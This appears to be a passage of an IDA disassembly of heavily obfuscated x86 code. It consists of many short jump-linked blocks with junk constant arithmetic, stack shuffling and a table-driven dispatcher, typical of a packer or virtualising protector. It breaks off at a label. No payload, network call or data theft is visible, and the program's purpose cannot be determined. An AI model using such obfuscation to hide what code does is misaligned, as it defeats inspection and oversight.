		jmp	loc_596D59
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp-6E88h+arg_6E80]
		push	eax
		push	esp
		mov	eax, [esp-6E80h+arg_6E76+2]
		add	esp, 4
		push	48D5h
		mov	[esp-6E80h+arg_6E76+2],	ebx
		mov	ebx, 3B75496h
		push	esi
		push	ecx
		mov	ecx, 593E458Fh
		mov	esi, 681E1499h
		sub	esi, 4B217A7Eh
		jmp	loc_59C7A6
; ---------------------------------------------------------------------------


loc_59E1A3:				; CODE XREF: sub_581EE9+25008j
		pop	eax
		push	3895h
		mov	[esp-6E78h+arg_6E6E+2],	ebp
		sub	esp, 4
		mov	[esp+0], edi
		push	6FCD068Ah
		pop	edi
		jmp	loc_59B0F8
; ---------------------------------------------------------------------------


loc_59E1BD:				; CODE XREF: sub_581EE9+15CF3j
		mov	esi, 7C231804h
		sub	[esp-6E92h+arg_6E8E], esi
		mov	esi, [esp-6E92h+arg_6E8A]
		add	esp, 4
		add	[esp-6E96h+arg_6E8E], 2036534Dh
		sub	[esp-6E96h+arg_6E8E], 3A6E37C7h
		jmp	loc_59EC45
; ---------------------------------------------------------------------------


loc_59E1E2:				; CODE XREF: sub_581EE9+1CE9Dj
		sub	esp, 4
		mov	[esp-6E92h+arg_6E8A], ebx
		push	[esp-6E92h+arg_6E8E]
		pop	ebx
		pop	[esp-6E92h+arg_6E8A]
		mov	esp, [esp-6E96h+arg_6E8E]
		or	byte ptr [esp-6E96h+arg_6E8E], al
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_59E1FC:				; CODE XREF: sub_581EE9+184ADj
		or	edx, 3D9E5C3Dh
		jmp	loc_5A0E28
; ---------------------------------------------------------------------------
		pop	dword ptr [edx]
		jmp	loc_59C89C
; ---------------------------------------------------------------------------


loc_59E20E:				; CODE XREF: sub_581EE9+174DEj
		sub	esp, 4
		mov	[esp-6E9Ah+arg_6E92], esi
		mov	esi, 63CE24D5h
		push	esi
		mov	esi, 6B585B34h
		mov	ecx, 8967FE0h
		xor	ecx, esi
		mov	esi, [esp-6E96h+arg_6E8E]
		jmp	loc_5971C5
; ---------------------------------------------------------------------------


loc_59E231:				; CODE XREF: sub_581EE9+19B88j
		push	eax
		mov	eax, 1E1C19CDh
		jmp	loc_5A0E50
; ---------------------------------------------------------------------------


loc_59E23C:				; CODE XREF: sub_581EE9+1F7AFj
		push	dword ptr [esp+4]
		pop	ebx
		pop	[esp-6E70h+arg_6E68]
		pop	eax
		sub	esp, 4
		mov	[esp+0], edi
		sub	esp, 4
		mov	[esp-6E70h+arg_6E68], edx
		push	ebp
		mov	ebp, 186E7180h
		shl	ebp, 3
		inc	ebp
		sub	ebp, 158F5AEAh
		push	esi
		mov	esi, 2D186442h
		or	ebp, esi
		pop	esi
		add	ebp, 41D15305h
		jmp	loc_5A2A80
; ---------------------------------------------------------------------------


loc_59E278:				; CODE XREF: sub_581EE9+23A06j
		sub	esp, 4
		jmp	loc_595AA6
; ---------------------------------------------------------------------------


loc_59E280:				; CODE XREF: sub_581EE9+10407j
		add	[esp-6EB0h+arg_6EAC], esi
		push	ecx
		jmp	loc_5A6FD4
; ---------------------------------------------------------------------------


loc_59E28A:				; CODE XREF: sub_581EE9+12645j
		pop	ecx
		xor	ebx, esi
		pop	esi
		mov	ebp, ebx
		pop	ebx
		neg	ebp
		sub	esp, 4
		mov	[esp-6E92h+arg_6E8A], eax
		jmp	loc_59BF18
; ---------------------------------------------------------------------------


loc_59E2A1:				; CODE XREF: sub_581EE9+12F7Aj
		mov	eax, esp
		push	ecx
		push	7EBF6BE5h
		pop	ecx
		xor	ecx, 7EBF6BE1h
		add	eax, ecx
		pop	ecx
		add	eax, 4
		jmp	loc_5959DC
; ---------------------------------------------------------------------------


loc_59E2BB:				; CODE XREF: sub_581EE9+13C21j
		mov	ebx, 1B6A72BAh
		add	ebx, 717C2A34h
		jmp	loc_5A2FC8
; ---------------------------------------------------------------------------


loc_59E2CB:				; CODE XREF: sub_581EE9+19BC0j
		shl	ebx, 5
		xor	ebx, 0FD514D73h
		add	edx, 280F01F6h
		add	edx, ebx
		jmp	loc_594A91
; ---------------------------------------------------------------------------


loc_59E2E1:				; CODE XREF: sub_581EE9+1608Bj
		xor	esi, edi
		pop	edi
		sub	esp, 4
		mov	[esp-6E7Eh+arg_6E76], ebp
		jmp	loc_59A93B
; ---------------------------------------------------------------------------


loc_59E2F2:				; CODE XREF: sub_581EE9+1C0B7j
		pop	eax
		xor	ecx, [esp-6EA8h+arg_6E9E+2]
		xor	[esp-6EA8h+arg_6E9E+2],	ecx
		xor	ecx, [esp-6EA8h+arg_6E9E+2]
		mov	esp, [esp-6EA8h+arg_6E9E+2]
		jmp	loc_59F4F9
; ---------------------------------------------------------------------------


loc_59E304:				; CODE XREF: sub_581EE9+252B1j
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp-6EA0h+arg_6E96+2],	edi
		mov	edi, 4
		sub	ebp, 303574A5h
		add	ebp, edi
		jmp	loc_59401A
; ---------------------------------------------------------------------------


loc_59E322:				; CODE XREF: sub_581EE9+15AE8j
		xor	al, bh
		mov	ebx, [esp-6E80h+arg_6E76+2]
		jmp	loc_5987AE
; ---------------------------------------------------------------------------


loc_59E32C:				; CODE XREF: sub_581EE9+20C7Fj
		add	esp, 4
		add	eax, esi
		mov	esi, [esp-6E84h+arg_6E7C]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp-6E80h+arg_6E76+2]
		pop	esp
		push	[esp-6E84h+arg_6E7C]
		pop	esi
		add	esp, 4
		jmp	loc_59AA34
; ---------------------------------------------------------------------------


loc_59E356:				; CODE XREF: sub_581EE9+1EC75j
		mov	ebx, 265F7E0Ch
		or	ebx, 42DD1D0Ah
		not	ebx
		or	ebx, 90C70CAh
		shl	ebx, 5
		add	ebx, 4256025Fh
		or	ecx, ebx
		jmp	loc_599855
; ---------------------------------------------------------------------------


loc_59E379:				; CODE XREF: sub_581EE9+138D4j
		neg	eax
		jmp	loc_59D0B8
; ---------------------------------------------------------------------------


loc_59E380:				; CODE XREF: sub_581EE9+1A5B5j
		push	eax
		mov	eax, 30954EEAh
		add	eax, 0FFFFFFFFh
		jmp	loc_5A1FFD
; ---------------------------------------------------------------------------


loc_59E38E:				; CODE XREF: sub_581EE9+1E1BAj
		mov	[esp-6E58h+arg_6E50], eax
		mov	eax, 7520685Dh
		add	eax, 8ADF97A7h
		add	edi, eax
		mov	eax, [esp-6E58h+arg_6E50]
		jmp	loc_5A5C1E
; ---------------------------------------------------------------------------


loc_59E3A5:				; CODE XREF: sub_581EE9+1A09Fj
		push	eax
		mov	eax, 0BE17B5FBh
		xor	edi, eax
		pop	eax
		jmp	loc_592539
; ---------------------------------------------------------------------------


loc_59E3B3:				; CODE XREF: sub_581EE9+1E398j
		mov	[esp-6E52h+arg_6E48+2],	edi
		push	ebx
		jmp	loc_59EBD3
; ---------------------------------------------------------------------------


loc_59E3BC:				; CODE XREF: sub_581EE9+1D8ADj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		push	eax
		push	[esp-6E4Ah+arg_6E44+2]
		pop	eax
		jmp	loc_593416
; ---------------------------------------------------------------------------


loc_59E3D1:				; CODE XREF: sub_581EE9+1474Ej
		xor	[esp-6EA6h+arg_6E9E], ebx
		sub	esp, 4
		mov	[esp-6EA2h+arg_6E9A], ebx
		jmp	loc_59E87E
; ---------------------------------------------------------------------------


loc_59E3E2:				; CODE XREF: sub_581EE9+1B159j
		and	eax, edx
		pop	edx
		sub	esp, 4
		mov	[esp-6EACh+arg_6EA4], esi
		mov	esi, 7AB474F3h
		and	esi, 1BE44A47h
		shr	esi, 6
		push	ebx
		mov	ebx, 68A13800h
		xor	ebx, 0DD160BBFh
		sub	esi, ebx
		jmp	loc_59551C
; ---------------------------------------------------------------------------


loc_59E40F:				; CODE XREF: sub_581EE9+1BFB6j
		push	dword ptr [esp+0]
		jmp	loc_596297
; ---------------------------------------------------------------------------


loc_59E417:				; CODE XREF: sub_581EE9+11DFDj
		pop	dword ptr [esp-6EAAh+arg_6EA2]
		pop	esp
		mov	[esp-6EB2h+arg_6EA8+2],	eax
		jmp	loc_5A050D
; ---------------------------------------------------------------------------


loc_59E423:				; CODE XREF: sub_581EE9+1DAB7j
		push	[esp-6EB2h+arg_6EA8+2]
		pop	eax
		add	esp, 4
		jmp	loc_5A16A4
; ---------------------------------------------------------------------------


loc_59E432:				; CODE XREF: sub_581EE9+13BE5j
		add	edx, eax
		pop	eax
		jmp	loc_59499A
; ---------------------------------------------------------------------------


loc_59E43A:				; CODE XREF: sub_581EE9+23FC7j
		push	ebx
		jmp	loc_59D76F
; ---------------------------------------------------------------------------


loc_59E440:				; CODE XREF: sub_581EE9+12D3Fj
		push	eax
		mov	eax, 2DDB7446h
		or	eax, 696803F2h
		jmp	loc_597D66
; ---------------------------------------------------------------------------


loc_59E450:				; CODE XREF: sub_581EE9+12F0Bj
		add	edx, 4
		jmp	loc_5A24B4
; ---------------------------------------------------------------------------


loc_59E45B:				; CODE XREF: sub_581EE9+17074j
		push	eax
		mov	eax, 7E39608Fh
		mov	ebp, eax
		mov	eax, [esp-6E9Ch+arg_6E92+2]
		add	esp, 4
		dec	ebp
		push	edx
		mov	edx, 55FE4818h
		shr	edx, 2
		xor	edx, 19426816h
		xor	edx, 476C3951h
		jmp	loc_59EAE9
; ---------------------------------------------------------------------------


loc_59E484:				; CODE XREF: sub_581EE9+24F33j
		add	al, 66h
		add	al, ch
		sub	al, 66h
		sub	al, 45h
		mov	ecx, [esp-6E9Ch+arg_6E92+2]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_593E7B
; ---------------------------------------------------------------------------


loc_59E49D:				; CODE XREF: sub_581EE9+11FDDj
		push	[esp-6E94h+arg_6E8A+2]
		pop	ecx
		add	esp, 4
		sub	esp, 4
		mov	[esp-6E94h+arg_6E8A+2],	esi
		push	ebp
		jmp	loc_599A2D
; ---------------------------------------------------------------------------


loc_59E4B3:				; CODE XREF: sub_581EE9+13C70j
		xchg	eax, [esp-6EA8h+arg_6E9E+2]
		jmp	loc_5A6448
; ---------------------------------------------------------------------------


loc_59E4BB:				; CODE XREF: sub_581EE9+19883j
		neg	esi
		jmp	loc_593138
; ---------------------------------------------------------------------------


loc_59E4C2:				; CODE XREF: sub_581EE9+18064j
		pop	bx
		add	cl, 91h
		xor	al, cl
		pop	ecx
		push	ebx
		mov	bl, 0E8h
		sub	al, bl
		pop	ebx
		add	bl, al
		mov	eax, [esp+0]
		add	esp, 4
		sub	bl, 53h
		push	eax
		mov	ah, 0E1h
		inc	ah
		push	edx
		mov	dl, 83h
		jmp	loc_59E511
; ---------------------------------------------------------------------------


loc_59E4E8:				; CODE XREF: sub_581EE9+1B2F7j
		not	esi
		xchg	eax, esi
		push	ecx
		mov	ecx, 3D5F0763h
		shr	ecx, 2
		add	ecx, 646A5AD1h
		inc	ecx
		neg	ecx
		xor	ecx, 1477393Eh
		sub	ecx, 9C7C4996h
		sub	eax, ecx
		pop	ecx
		jmp	loc_59B89B
; ---------------------------------------------------------------------------


loc_59E511:				; CODE XREF: sub_581EE9+1C5FAj
		add	dl, 0E7h
		add	dl, 13h
		or	ah, dl
		mov	edx, [esp-6E70h+arg_6E68]
		jmp	loc_5991F4
; ---------------------------------------------------------------------------


loc_59E521:				; CODE XREF: sub_581EE9+12895j
		pop	esi
		neg	eax
		sub	eax, 562368CFh
		jmp	loc_5A0B69
; ---------------------------------------------------------------------------


loc_59E52E:				; CODE XREF: sub_581EE9+10155j
		mov	ebx, 4
		add	ecx, 6F955E98h
		add	ecx, ebx
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	edi
		jmp	loc_5A4DA1
; ---------------------------------------------------------------------------


loc_59E54A:				; CODE XREF: sub_581EE9+1CBBFj
		mov	ebp, 5D831B50h
		xor	ebp, 7DD959AEh
		shl	ebp, 7
		not	ebp
		sub	ebp, 46DA26AEh
		shl	ebp, 4
		xor	ebp, 5D0267E5h
		jmp	loc_5A28DB
; ---------------------------------------------------------------------------


loc_59E56E:				; CODE XREF: sub_581EE9+19DD2j
		pop	eax
		add	dl, ch
		pop	ecx
		jmp	loc_59B084
; ---------------------------------------------------------------------------


loc_59E577:				; CODE XREF: sub_581EE9+168BAj
		add	[esp-6E60h+arg_6E60], eax
		sub	[esp-6E60h+arg_6E60], 2C572F37h
		pop	eax
		mov	ecx, [esp-6E64h+arg_6E5C]
		add	esp, 4
		pop	dword ptr [edi+24h]


loc_59E58D:				; CODE XREF: sub_581EE9+1BEC7j
		push	314Bh
		jmp	loc_5A6163
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp-6E68h+arg_6E60]
		jmp	loc_5A61D8
; ---------------------------------------------------------------------------


loc_59E5A0:				; CODE XREF: sub_581EE9+1EF62j
		push	[esp-6E68h+arg_6E60]
		jmp	loc_5985C8
; ---------------------------------------------------------------------------
		lodsw
		sub	ax, 5967h
		add	ax, 3F9Bh
		jmp	loc_59C253
; ---------------------------------------------------------------------------


loc_59E5B7:				; CODE XREF: sub_581EE9+18E25j
		push	eax
		jmp	loc_5986BC
; ---------------------------------------------------------------------------


loc_59E5BD:				; CODE XREF: sub_581EE9+19264j
		pop	ecx
		sub	esp, 4
		mov	[esp-6EACh+arg_6EA4], ecx
		jmp	loc_5A4344
; ---------------------------------------------------------------------------


loc_59E5CC:				; CODE XREF: sub_581EE9+1F926j
		neg	ecx
		push	esi
		jmp	loc_59379F
; ---------------------------------------------------------------------------


loc_59E5D4:				; CODE XREF: sub_581EE9+1EDD6j
		add	eax, ecx
		pop	ecx
		add	eax, 2A018E2h
		sub	eax, ebp
		sub	eax, 2A018E2h
		push	esi
		jmp	loc_595E8E
; ---------------------------------------------------------------------------


loc_59E5E9:				; CODE XREF: sub_581EE9+13A3Ej
		mov	ebx, 5D8D3BE4h
		jmp	loc_59EBAE
; ---------------------------------------------------------------------------


loc_59E5F3:				; CODE XREF: sub_581EE9+14EF2j
		pop	esp
		jmp	loc_59DA1D
; ---------------------------------------------------------------------------


loc_59E5F9:				; CODE XREF: sub_581EE9+19F1Aj
		mov	ecx, 0C353D54Dh
		add	ebp, ecx
		pop	ecx
		and	eax, ebp
		mov	ebp, [esp-6E62h+arg_6E58+2]
		jmp	loc_597873
; ---------------------------------------------------------------------------


loc_59E60B:				; CODE XREF: sub_581EE9+11233j
		pop	ecx
		jmp	loc_59C937
; ---------------------------------------------------------------------------


loc_59E611:				; CODE XREF: sub_581EE9+1DA65j
		sub	ecx, 0F74957ECh
		or	edi, ecx
		pop	ecx
		jmp	loc_5A00AE
; ---------------------------------------------------------------------------


loc_59E61F:				; CODE XREF: sub_581EE9+24DE4j
		not	eax
		xchg	eax, ecx
		shr	ecx, 6
		neg	ecx
		sub	ecx, 8233236Fh
		and	edi, ecx
		push	[esp-6E4Eh+arg_6E44+2]
		jmp	loc_59BF71
; ---------------------------------------------------------------------------


loc_59E637:				; CODE XREF: sub_581EE9+147DEj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp-6E9Ah+arg_6E92]
		pop	esp
		neg	eax
		sub	eax, 34CC641Ch
		push	edi
		jmp	loc_5A61C5
; ---------------------------------------------------------------------------


loc_59E651:				; CODE XREF: sub_581EE9+1BEE6j
		mov	esp, [esp-6E7Eh+arg_6E76]
		mov	[esp-6E7Eh+arg_6E76], edx
		mov	edx, 1Ch
		jmp	loc_5A5E04
; ---------------------------------------------------------------------------


loc_59E661:				; CODE XREF: sub_581EE9+24905j
		pop	edx
		mov	ebp, dword ptr [esp-6E82h+arg_6E7A]
		add	esp, 4
		jmp	loc_5A4006
; ---------------------------------------------------------------------------


loc_59E66D:				; CODE XREF: sub_581EE9+1A318j
		mov	dh, 9Bh
		dec	dh
		xor	dh, 22h
		jmp	loc_5A0D89
; ---------------------------------------------------------------------------


loc_59E679:				; CODE XREF: sub_581EE9+24EF0j
		sub	eax, 4
		push	eax
		push	[esp-6EA2h+arg_6E9E]
		jmp	loc_593D42
; ---------------------------------------------------------------------------


loc_59E686:				; CODE XREF: sub_581EE9+23847j
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_59E68B:				; CODE XREF: sub_581EE9+22614j
		push	ecx
		jmp	loc_5A46D4
; ---------------------------------------------------------------------------


loc_59E691:				; CODE XREF: sub_581EE9+1B877j
		pop	edx
		inc	ebx
		sub	ebx, 2F1253D6h
		push	138Dh
		mov	[esp-6ECCh+arg_6EC2+2],	eax
		mov	eax, 7C533A8Ah
		shr	eax, 2
		add	eax, 1886FB5h
		sub	eax, 0D50C02DEh
		add	ebx, eax
		pop	eax
		add	edx, ebx
		mov	ebx, [esp-6ED0h+arg_6EC6+2]
		jmp	loc_5A13D0
; ---------------------------------------------------------------------------


loc_59E6C0:				; CODE XREF: sub_581EE9+183DBj
		mov	[esp-6EB0h+arg_6EA8], edx
		jmp	loc_59D612
; ---------------------------------------------------------------------------


loc_59E6C8:				; CODE XREF: sub_581EE9+11583j
		pop	ebx
		shr	edx, 5
		inc	edx
		jmp	loc_5A0E6F
; ---------------------------------------------------------------------------


loc_59E6D2:				; CODE XREF: sub_581EE9+1793Aj
		push	esp
		pop	edx
		add	edx, 4
		push	eax
		mov	eax, 4
		jmp	loc_59B1EA
; ---------------------------------------------------------------------------


loc_59E6E5:				; CODE XREF: sub_581EE9+19FE0j
		pop	esi
		push	edx
		jmp	loc_597255
; ---------------------------------------------------------------------------


loc_59E6EC:				; CODE XREF: sub_581EE9+171BCj
		push	3D02h
		mov	[esp-6E66h+arg_6E5C+2],	ebx
		jmp	loc_59277B
; ---------------------------------------------------------------------------


loc_59E6F9:				; CODE XREF: sub_581EE9+11DCCj
		push	small 7F4Ch
		mov	word ptr [esp-6EA8h+arg_6E9E+2], dx
		sub	esp, 4
		mov	[esp-6EA4h+arg_6E9A+2],	eax
		jmp	loc_59E858
; ---------------------------------------------------------------------------


loc_59E70C:				; CODE XREF: sub_581EE9+184A3j
		add	[esp-6E7Ah+arg_6E76], ecx
		add	[esp-6E7Ah+arg_6E76], 0B11BF1h
		push	[esp-6E7Ah+arg_6E72]
		pop	ecx
		jmp	loc_599177
; ---------------------------------------------------------------------------


loc_59E721:				; CODE XREF: sub_581EE9+14B99j
		shl	eax, 2
		add	eax, 22A0258h
		mov	esi, eax
		jmp	loc_5953B5
; ---------------------------------------------------------------------------


loc_59E730:				; CODE XREF: sub_581EE9+1E035j
		sub	ecx, 54C81966h
		sub	ecx, eax
		add	ecx, 54C81966h
		pop	eax
		shr	ecx, 3
		shr	ecx, 2
		push	edi
		mov	edi, 43AB03F6h
		jmp	loc_593AB0
; ---------------------------------------------------------------------------


loc_59E750:				; CODE XREF: sub_581EE9+181AAj
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_59E75B:				; CODE XREF: sub_581EE9+1D27Aj
		mov	esp, [esp+0]
		mov	[esp+0], eax
		mov	eax, esp
		jmp	loc_5A0B9D
; ---------------------------------------------------------------------------


loc_59E768:				; CODE XREF: sub_581EE9+1DC4Bj
		xor	eax, 41B86261h
		mov	ebx, eax
		pop	eax
		push	ebp
		mov	ebp, 1C5D3B3Eh
		mov	edx, 4B6C9DF9h
		sub	edx, ebp
		pop	ebp
		xor	edx, ebx
		pop	ebx
		push	ebx
		mov	ebx, 6E865FE4h
		add	ebx, 0B955BC03h
		jmp	loc_5982BE
; ---------------------------------------------------------------------------


loc_59E792:				; CODE XREF: sub_581EE9+11CC6j
		add	ebp, 26F75D9Ch
		push	[esp-6E7Ah+arg_6E72]
		pop	ecx
		jmp	loc_5976A1
; ---------------------------------------------------------------------------


loc_59E7A1:				; CODE XREF: sub_581EE9+23F16j
		add	ecx, 4
		jmp	loc_59F953
; ---------------------------------------------------------------------------


loc_59E7A9:				; CODE XREF: sub_581EE9+11817j
		pop	ebx
		xchg	esi, [esp-6E8Ah+arg_6E80+2]
		pop	esp
		push	[esp-6E8Eh+arg_6E84+2]
		mov	edi, [esp-6E8Ah+arg_6E80+2]
		add	esp, 4
		jmp	loc_59254B
; ---------------------------------------------------------------------------


loc_59E7BF:				; CODE XREF: sub_581EE9+17D0Dj
		push	ecx
		push	4
		mov	ecx, [esp-6EA0h+arg_6E96+2]
		push	eax
		mov	eax, esp
		push	ebx
		mov	ebx, 0D534AADh
		not	ebx
		jmp	loc_595D3E
; ---------------------------------------------------------------------------


loc_59E7D8:				; CODE XREF: sub_581EE9+197E5j
		sub	ecx, 7DFB1FC9h
		jmp	loc_59357E
; ---------------------------------------------------------------------------


loc_59E7E3:				; CODE XREF: sub_581EE9+1CD4Aj
		pop	edi
		jmp	loc_5A3669
; ---------------------------------------------------------------------------


loc_59E7E9:				; CODE XREF: sub_581EE9+1D178j
		add	ebp, 4
		jmp	loc_59DF71
; ---------------------------------------------------------------------------


loc_59E7F4:				; CODE XREF: sub_581EE9+1BC70j
		pop	[esp-6E62h+arg_6E58+2]
		mov	esp, [esp-6E66h+arg_6E5C+2]


loc_59E7FA:				; CODE XREF: sub_581EE9+1B227j
		push	507Eh
		mov	[esp-6E62h+arg_6E58+2],	ebx
		push	[esp-6E62h+arg_6E58+2]
		push	[esp-6E5Eh+arg_6E54+2]
		jmp	loc_59C3E8
; ---------------------------------------------------------------------------


loc_59E80D:				; CODE XREF: sub_581EE9+13335j
		mov	edx, esi
		pop	esi
		jmp	loc_5A1D94
; ---------------------------------------------------------------------------


loc_59E815:				; CODE XREF: sub_581EE9+10E18j
		push	esi
		mov	esi, 77F11211h
		add	esi, 0C842F7F3h
		sub	edx, esi
		pop	esi
		sub	esi, 71870AD3h
		add	esi, edx
		jmp	loc_5A360A
; ---------------------------------------------------------------------------


loc_59E831:				; CODE XREF: sub_581EE9+12B6Cj
		sub	esp, 4
		mov	[esp-6E64h+arg_6E5C], esi
		mov	esi, 5E752845h
		shr	esi, 8
		sub	esi, 6B42031Fh
		push	edx
		mov	edx, 5B0A5C6Bh
		shr	edx, 8
		not	edx
		jmp	loc_5950D9
; ---------------------------------------------------------------------------


loc_59E858:				; CODE XREF: sub_581EE9+1C81Ej
		mov	al, 0ECh
		mov	dl, al
		jmp	loc_5A3016
; ---------------------------------------------------------------------------


loc_59E861:				; CODE XREF: sub_581EE9+183B0j
		xor	edi, 1E602549h
		push	ebp
		mov	ebp, 4FBD5D32h
		jmp	loc_598CE7
; ---------------------------------------------------------------------------


loc_59E872:				; CODE XREF: sub_581EE9+1D216j
		pop	eax
		sub	esp, 4
		jmp	loc_5A2BE5
; ---------------------------------------------------------------------------


loc_59E87E:				; CODE XREF: sub_581EE9+1C4F4j
		xor	[esp-6EA2h+arg_6E9A], eax
		jmp	loc_5934E0
; ---------------------------------------------------------------------------


loc_59E886:				; CODE XREF: sub_581EE9+167E5j
		mov	[esp-6E66h+arg_6E5C+2],	edx
		sub	esp, 4
		mov	[esp-6E62h+arg_6E58+2],	esp
		add	[esp-6E62h+arg_6E58+2],	4
		jmp	loc_5A296F
; ---------------------------------------------------------------------------


loc_59E89E:				; CODE XREF: sub_581EE9+1D7FFj
		mov	[esp-6E62h+arg_6E58+2],	esi
		mov	esi, 3AB07125h
		or	eax, esi
		pop	esi
		neg	eax
		shr	eax, 2
		push	eax
		inc	[esp-6E62h+arg_6E58+2]
		jmp	loc_59DF36
; ---------------------------------------------------------------------------


loc_59E8B7:				; CODE XREF: sub_581EE9+1E135j
		push	ebp
		mov	ebp, esp
		jmp	loc_59828A
; ---------------------------------------------------------------------------


loc_59E8BF:				; CODE XREF: sub_581EE9+1E354j
		mov	ebx, 3B91F10h
		jmp	loc_59D369
; ---------------------------------------------------------------------------


loc_59E8C9:				; CODE XREF: sub_581EE9+1759Aj
		neg	ah
		or	ah, 0ACh
		inc	ah
		add	ah, 6Dh
		sub	bh, ah
		pop	eax
		inc	bh
		jmp	loc_59CEBE
; ---------------------------------------------------------------------------


loc_59E8DD:				; CODE XREF: sub_581EE9+1A77Ej
		push	edx
		mov	dh, 0D9h
		push	ax
		mov	ah, 0FFh
		add	dh, ah
		pop	ax
		shl	dh, 4
		neg	dh
		and	dh, 0C1h
		and	dh, 3Ch
		sub	dh, 0FFh
		jmp	loc_59A35A
; ---------------------------------------------------------------------------


loc_59E8FB:				; CODE XREF: sub_581EE9+214FEj
		mov	dl, 5Ch
		add	dl, 15h
		jmp	$+5
		sub	bl, dl
		pop	edx
		pop	edx
		sub	al, 37h
		sub	al, bl
		add	al, 37h
		mov	ebx, [esp]
		push	esi
		jmp	loc_59EDBB
; ---------------------------------------------------------------------------


loc_59E918:				; CODE XREF: sub_581EE9+15FCDj
		add	ebx, edx
		pop	edx
		dec	ebx
		shr	ebx, 5
		sub	ebx, 0A9622A26h
		or	ebp, ebx
		pop	ebx
		add	ebp, 29C7116Ch
		or	eax, ebp
		jmp	loc_59C309
; ---------------------------------------------------------------------------


loc_59E935:				; CODE XREF: sub_581EE9+17986j
		pop	edx
		sub	esp, 4
		mov	[esp-6EA6h+arg_6E9E], ecx
		xor	[esp-6EA6h+arg_6E9E], 3151044Bh
		pop	edx
		xor	edx, 3151044Bh
		pop	ecx
		push	ebp
		mov	ebp, 22542D51h
		add	edx, ebp
		pop	ebp
		add	edx, 154974E4h
		add	edx, eax
		sub	edx, 154974E4h
		jmp	loc_59D410
; ---------------------------------------------------------------------------


loc_59E96A:				; CODE XREF: sub_581EE9+10350j
		push	edi
		push	ebx
		jmp	loc_594B1F
; ---------------------------------------------------------------------------


loc_59E971:				; CODE XREF: sub_581EE9+18649j
		mov	al, 5Bh
		inc	al
		shl	al, 8
		and	al, 0FEh
		add	al, 2Ch
		jmp	loc_5A1F6B
; ---------------------------------------------------------------------------


loc_59E981:				; CODE XREF: sub_581EE9+250FBj
		add	edx, ecx
		pop	ecx
		push	esi
		jmp	loc_59F847
; ---------------------------------------------------------------------------


loc_59E98A:				; CODE XREF: sub_581EE9+22BAAj
		push	eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		push	edi
		push	dword ptr [esp+4]
		push	[esp-6E42h+arg_6E3A]
		jmp	loc_594690
; ---------------------------------------------------------------------------


loc_59E9A0:				; CODE XREF: sub_581EE9+13139j
		mov	eax, ecx
		pop	ecx
		mov	edi, [esp-6EA8h+arg_6E9E+2]
		add	esp, 4
		mov	esi, eax
		pop	eax
		add	edi, 6E656A3Ah
		add	edi, esi
		sub	edi, 6E656A3Ah
		mov	esi, [esp-6EB0h+arg_6EA8]
		jmp	loc_5A5121
; ---------------------------------------------------------------------------


loc_59E9C2:				; CODE XREF: sub_581EE9+21D41j
		push	ebp
		push	6AD650A7h
		jmp	loc_594A33
; ---------------------------------------------------------------------------


loc_59E9CD:				; CODE XREF: sub_581EE9+17275j
		pop	edx
		push	ecx
		mov	ecx, 4
		jmp	loc_5A1F5E
; ---------------------------------------------------------------------------


loc_59E9D9:				; CODE XREF: sub_581EE9+16446j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp-6E6Eh+arg_6E64+2]
		pop	esp
		jmp	loc_591F76
; ---------------------------------------------------------------------------


loc_59E9EB:				; CODE XREF: sub_581EE9+1F5E6j
		mov	[ecx], bh
		mov	ebx, [esp-6E72h+arg_6E68+2]
		add	esp, 4
		jmp	loc_593FE1
; ---------------------------------------------------------------------------


loc_59E9F8:				; CODE XREF: sub_581EE9+16154j
		xor	[esp-6E64h+arg_6E5C], ebp
		xor	ebp, [esp-6E64h+arg_6E5C]
		pop	esp
		jmp	loc_5A0E2E
; ---------------------------------------------------------------------------


loc_59EA04:				; CODE XREF: sub_581EE9+163BEj
		mov	ebp, esp
		jmp	loc_59FEF6
; ---------------------------------------------------------------------------


loc_59EA0B:				; CODE XREF: sub_581EE9+1F463j
		and	ebx, ebp
		pop	ebp
		jmp	loc_592A98
; ---------------------------------------------------------------------------


loc_59EA13:				; CODE XREF: sub_581EE9+1CE3Dj
		pop	ebx
		add	esp, 4
		push	2DACh
		mov	[esp-6ED4h+arg_6ECA+2],	eax
		push	361Ah
		mov	[esp-6ED0h+arg_6EC6+2],	esi
		jmp	loc_5A09C0
; ---------------------------------------------------------------------------


loc_59EA2F:				; CODE XREF: sub_581EE9+17704j
		add	edx, 3C550939h
		jmp	loc_596EC7
; ---------------------------------------------------------------------------


loc_59EA3A:				; CODE XREF: sub_581EE9+122C2j
		push	[esp-6EC8h+arg_6EBE+2]
		pop	esi
		add	esp, 4
		add	edx, eax
		push	ebp
		mov	ebp, 5E4D2136h
		jmp	loc_599407
; ---------------------------------------------------------------------------


loc_59EA51:				; CODE XREF: sub_581EE9+1276Bj
		mov	ecx, [esp+0]
		push	edx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp-6E88h+arg_6E80]
		pop	esp
		push	esp
		pop	[esp-6E88h+arg_6E80]
		add	[esp-6E8Ch+arg_6E84], 4
		pop	edx
		jmp	loc_5A3186
; ---------------------------------------------------------------------------


loc_59EA73:				; CODE XREF: sub_581EE9+1FD3Fj
		pop	edx
		push	edi
		jmp	loc_59BE57
; ---------------------------------------------------------------------------


loc_59EA7A:				; CODE XREF: sub_581EE9+17032j
		mov	[esp-6EA4h+arg_6E9A+2],	esi
		push	18B2h
		mov	[esp-6EA0h+arg_6E96+2],	eax
		mov	eax, 3CDB7E47h
		shl	eax, 5
		sub	eax, 658B23BBh
		xor	eax, 200FFE95h
		jmp	loc_59DE75
; ---------------------------------------------------------------------------


loc_59EA9C:				; CODE XREF: sub_581EE9+1BF23j
		add	al, cl
		add	al, 5Fh
		pop	ecx
		jmp	loc_598606
; ---------------------------------------------------------------------------


loc_59EAA6:				; CODE XREF: sub_581EE9+24DAAj
